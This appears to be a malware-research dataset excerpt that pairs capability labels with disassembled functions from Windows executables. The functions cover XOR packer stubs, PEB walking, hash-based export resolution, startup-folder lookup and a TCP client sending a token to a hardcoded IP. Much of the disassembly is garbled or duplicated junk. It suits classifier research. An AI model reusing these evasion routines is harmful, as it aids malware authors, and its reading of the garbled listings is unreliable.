joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4124af
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x4123f8
add ebx, 0
push ecx
call 0x41240d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x100a6135
sub ebx, dword [0x100c5974]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x100c5964
call fcn.0040ded7
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.0040d3e5
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x41256b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x41256b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x412522
mov eax, 1
lock xchg dword [0x100c5970], eax
push 0x3dd1fc71
call 0x4124af
push esi
add esp, 8
cmp eax, 0
jne 0x412498
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x4124be
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x4124d3
cmp ecx, edx
cmp eax, 0
je 0x4124f8
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x4124e2
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.00412511
dec eax
loope 0x412514
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x100c5970], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x412548
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x41255d
jmp 0x412568
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x412456

Function at 0x4195d0
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x4198a6
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x100b25e8
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x100a95ae
push 0xffffffffffffffff
call fcn.004107d0
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x41963a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.00419652
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x41989a
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x41986e
Function at 0x4290a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4290c2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4290c2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4290c2
ret
cmp word [ebx + 4], 0x14c
jne 0x4290c2
test word [ebx + 0x16], 2
je 0x4290c2
test word [ebx + 0x16], 0x100
je 0x4290c2
cmp word [ebx + 0x18], 0x10b
jne 0x4290c2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4290c2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x42914e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4290e2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0041002d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4290c2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x42914e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4290c2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4290c2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4290c2
ret
cmp word [ebx + 4], 0x14c
jne 0x4290c2
test word [ebx + 0x16], 2
je 0x4290c2
test word [ebx + 0x16], 0x100
je 0x4290c2
cmp word [ebx + 0x18], 0x10b
jne 0x4290c2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4290c2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x42914e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4290e2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.0041002d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4290c2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x429205
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42925e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x429205
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x429214
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82eeb7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x429265
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.004100db
cmp eax, dword [ebp + 0xc]
pop eax
je 0x429304
add edi, 4
add eax, 2
dec ecx
jne 0x42924a
call 0x4292b1
loope 0x4292a7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x429301
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x429312
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4292c5
cmp eax, ecx
ja 0x4292c5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x42934f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x429345
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.004105ba
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x429214
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x42925e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x429205
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x429214
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x82eeb7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x429265
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.004100db
cmp eax, dword [ebp + 0xc]
pop eax
je 0x429304
add edi, 4
add eax, 2
dec ecx
jne 0x42924a
call 0x4292b1
loope 0x4292a7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x429301
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x429312
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4292c5
cmp eax, ecx
ja 0x4292c5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x42934f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x429345
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.004105ba
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x4014f0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create tcp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c8
mov dword [ebp - 0xc], 0xffffffff
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x401557
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_inicializar_Winsock
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x40170b
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4015bb
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_crear_el_socket
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov word [ebp - 0x1b0], 2
mov dword [esp], 0x29a
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1ae], ax
lea eax, [ebp - 0x1b0]
add eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.176.105.230.120
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_inet_pton]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401677
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.No_se_pudo_conectar_al_servidor
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x14
mov dword [esp + 4], str.Shaiya_Tales_of_Teos
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4016ef
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Error_al_enviar_el_token
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 1
jmp 0x40170b
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 0
leave
ret
Function at 0x402500
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402525
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402530
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402525
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402578
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40256e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40257a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402560
xor eax, eax
pop ebx
pop esi
ret
Function at 0x401828
Capabilities:
Encode data using xor

Disassembly:
push 0x401a00
call sub.MSVBVM60.DLL_ThunRTMain
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor byte [eax], al
add byte [eax], al
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dh, dl
jno 0x401836
jg 0x40189a
push edx
xor byte [ecx - 0x4f], cl
sbb dh, byte [eax + 0x4846ec42]
inc ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc edx
popal
je 0x4018cb
push 0x55504153
jo 0x4018d3
popal
je 0x4018d7
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [eax], eax
add dword [eax], eax
and byte [eax + eax*2], dh
add byte [eax], al
add byte [eax], al
add bh, bh
add byte [eax], al
mov ah, cl
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov al, 0x18
inc eax
add byte [ecx], al
add byte [0x40342000], al
add byte [eax], al
add byte [eax], al
add bh, bh
add byte [eax + esi], bl
inc ecx
add byte [ecx], al
add byte [eax], al
add ah, ch
sbb byte [eax], al
add dword [eax], eax
and byte [eax], al
add byte [eax], al
add byte [eax], al
dec esp
inc ebx
jb 0x4018e4
add byte [ecx], al
add byte [eax], ah
add byte [eax], al
add byte [eax], al
add byte [ebx + eax*2 + 0x72], cl
add al, ch
sbb byte [eax], al
mov al, byte [0x4004063]
add byte [eax], al
add byte [eax], dl
add byte [eax], al
mov ah, al
mov eax, dword [0xe4929234]
dec edi
call 0xa0405901
arpl word [eax], ax
add al, 0
add byte [eax], al
push eax
add byte [eax], al
add byte [eax - 0x6dcb5e3c], cl
xchg edx, eax
in al, 0x4f
mov dl, 0x3d
repne lodsb al, byte [esi]
mov al, 0xaa
scasd eax, dword es:[edi]
mov al, byte [pe_dos_header]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xchg dword [eax], ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
jo 0x4019a2
inc eax
add byte [eax + eax], cl
add byte [ecx], al
add byte [eax + eax], al
and byte [eax + eax*2], dh
add byte [eax], al
add byte [eax], al
add bh, bh
add byte [eax], al
Function at 0x401090
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx]
push esi
mov esi, edx
mov edx, dword [ebp + 8]
test edx, edx
je 0x4010b9
push ebx
push edi
movzx edi, byte [esi]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x443f80]
inc esi
dec edx
jne 0x4010a1
pop edi
pop ebx
mov dword [ecx], eax
pop esi
pop ebp
ret 4

Function at 0x4010c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
or eax, 0xffffffff
test esi, esi
je 0x4010e8
push ebx
push edi
movzx edi, byte [edx]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x443f80]
inc edx
dec esi
jne 0x4010d0
pop edi
pop ebx
not eax
xor edx, edx
cmp eax, ecx
sete al
pop esi
pop ebp
ret 4

Function at 0x402775
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ecx]
pop ebp
jmp fcn.00405417

Function at 0x402bdd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x442b40]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
push esi
inc eax
push edi
push eax
mov dword [ebp - 0x20], edx
call fcn.004128d8
mov edx, dword [ebx + 4]
mov esi, 0x4333cc
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
mov ecx, dword [ebx]
movsw word es:[edi], word [esi]
xor esi, esi
sub edx, ecx
mov dword [ebp - 0x1c], eax
je 0x402c39
mov edx, esi
and edx, 0xf
mov dl, byte [ebp + edx - 0x18]
xor dl, byte [ecx + esi]
mov byte [esi + eax], dl
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
inc esi
sub edx, ecx
cmp esi, edx
jb 0x402c1e
mov edx, dword [ebx + 4]
mov ecx, eax
sub ecx, dword [ebx]
push eax
mov byte [ecx + edx], 0
mov ecx, dword [ebp - 0x20]
call fcn.00401ec0
push dword [ebp - 0x1c]
call fcn.00413f62
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004138fe
leave
ret
Function at 0x402e22
Capabilities:
Read file on windows

Disassembly:
push 0x28
mov eax, 0x42800b
call fcn.00413ec1
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x34], edx
mov byte [ebp - 0x2d], bl
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
mov dword [ebp - 4], ebx
push 0x72
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402d9a
push 0x62
push 1
lea ecx, [ebp - 0x2c]
call fcn.00402d9a
cmp dword [ebp - 0x18], 0x10
mov edx, dword [ebp - 0x2c]
jae 0x402e6c
lea edx, [ebp - 0x2c]
cmp dword [esi + 0x14], 0x10
jb 0x402e76
mov ecx, dword [esi]
jmp 0x402e78
mov ecx, esi
call fcn.004069c8
mov edi, eax
cmp edi, ebx
jne 0x402e94
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401250
jmp 0x402f00
push 2
push ebx
push edi
call fcn.00414538
push edi
call fcn.00414449
add esp, 0x10
cmp eax, dword [ebp + 8]
jl 0x402eea
sub eax, dword [ebp + 8]
mov esi, eax
cmp dword [ebp + 0xc], ebx
jl 0x402ebd
cmp esi, dword [ebp + 0xc]
jle 0x402ebd
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x34]
push esi
call fcn.00401e50
push ebx
push dword [ebp + 8]
push edi
call fcn.00414538
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
push edi
push esi
push 1
push eax
call fcn.00414298
add esp, 0x1c
cmp eax, esi
jne 0x402eea
mov byte [ebp - 0x2d], 1
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00401250
push edi
call fcn.00413fda
pop ecx
mov al, byte [ebp - 0x2d]
call fcn.00413f44
ret 8
Function at 0x406569
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
jne 0x406590
push 0x442098
lea ecx, [ebp - 0xc]
call fcn.00413299
push 0x43ced4
lea eax, [ebp - 0xc]
push eax
call fcn.00413452
push edi
xor edi, edi
lea eax, [ecx + 0x3cc]
cmp dword [eax], edi
jle 0x4065af
push esi
mov esi, dword [ebp + 8]
sub esi, edx
mov cl, byte [esi + edx]
xor byte [edx], cl
inc edx
inc edi
cmp edi, dword [eax]
jl 0x4065a3
pop esi
pop edi
leave
ret 4
Function at 0x40896b
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x298
mov eax, 0x428802
call fcn.00413ec1
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 0x2a0], ebx
xor eax, eax
mov dword [esi + 0x14], 7
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x2a4], esi
mov word [esi], ax
mov dword [ebp - 4], ebx
xor edi, edi
inc edi
push edi
push 0x1a
lea eax, [ebp - 0x218]
push eax
push ebx
mov dword [ebp - 0x2a0], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x4089cd
lea eax, [ebp - 0x218]
push eax
mov ecx, esi
call fcn.00401ef0
jmp 0x408a43
push 0x31
push str.SHGetSpecialFolderPath___failed_for_CSIDL_APPDATA
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x220], 0xf
mov dword [ebp - 0x224], ebx
mov byte [ebp - 0x234], bl
call fcn.00401be0
mov dword [ebp - 4], edi
push str.WT::System::Util::GetPerUserAppDataPath
push 0x138
push str.SourceWtSystemUtilWinUtil.cpp
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x29c]
call fcn.0040b36d
mov byte [ebp - 4], 3
push ebx
push edi
lea ecx, [ebp - 0x234]
call fcn.00401250
lea ecx, [ebp - 0x29c]
call fcn.0040b585
mov byte [ebp - 4], bl
lea ecx, [ebp - 0x29c]
call fcn.0040b043
mov eax, esi
call fcn.00413f44
ret

Function at 0x4099a0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
xor ecx, ecx
xor bl, bl
mov byte [ebp - 4], cl
xor eax, eax
lea edi, [ebp - 3]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
mov dl, 0x3d
mov al, byte [ecx + edi]
cmp al, 0x41
jl 0x4099cd
cmp al, 0x5a
jg 0x4099cd
sub al, 0x41
mov byte [ebp + ecx - 4], al
jmp 0x409a09
cmp al, 0x61
jl 0x4099d9
cmp al, 0x7a
jg 0x4099d9
sub al, 0x47
jmp 0x4099c7
cmp al, 0x30
jl 0x4099e5
cmp al, 0x39
jg 0x4099e5
add al, 4
jmp 0x4099c7
cmp al, 0x2b
jne 0x4099f0
mov byte [ebp + ecx - 4], 0x3e
jmp 0x409a09
cmp al, 0x2f
jne 0x4099fb
mov byte [ebp + ecx - 4], 0x3f
jmp 0x409a09
cmp al, dl
jne 0x409a0f
cmp ecx, 2
je 0x409a09
cmp ecx, 3
jne 0x409a0f
inc ecx
cmp ecx, 4
jb 0x4099ba
cmp ecx, 4
jne 0x409a66
mov cl, byte [ebp - 3]
mov bl, byte [ebp - 4]
mov al, cl
shr al, 4
shl bl, 2
or al, bl
push esi
mov esi, dword [ebp + 0xc]
mov byte [esi], al
mov al, byte [edi + 2]
cmp al, dl
je 0x409a63
cmp byte [edi + 3], dl
je 0x409a51
mov al, byte [ebp - 2]
mov dl, al
shr dl, 2
shl cl, 4
or dl, cl
shl al, 6
or al, byte [ebp - 1]
mov byte [esi + 1], dl
mov byte [esi + 2], al
jmp 0x409a63
cmp al, dl
je 0x409a63
mov al, byte [ebp - 2]
shr al, 2
shl cl, 4
or al, cl
mov byte [esi + 1], al
mov bl, 1
pop esi
pop edi
mov al, bl
pop ebx
leave
ret 8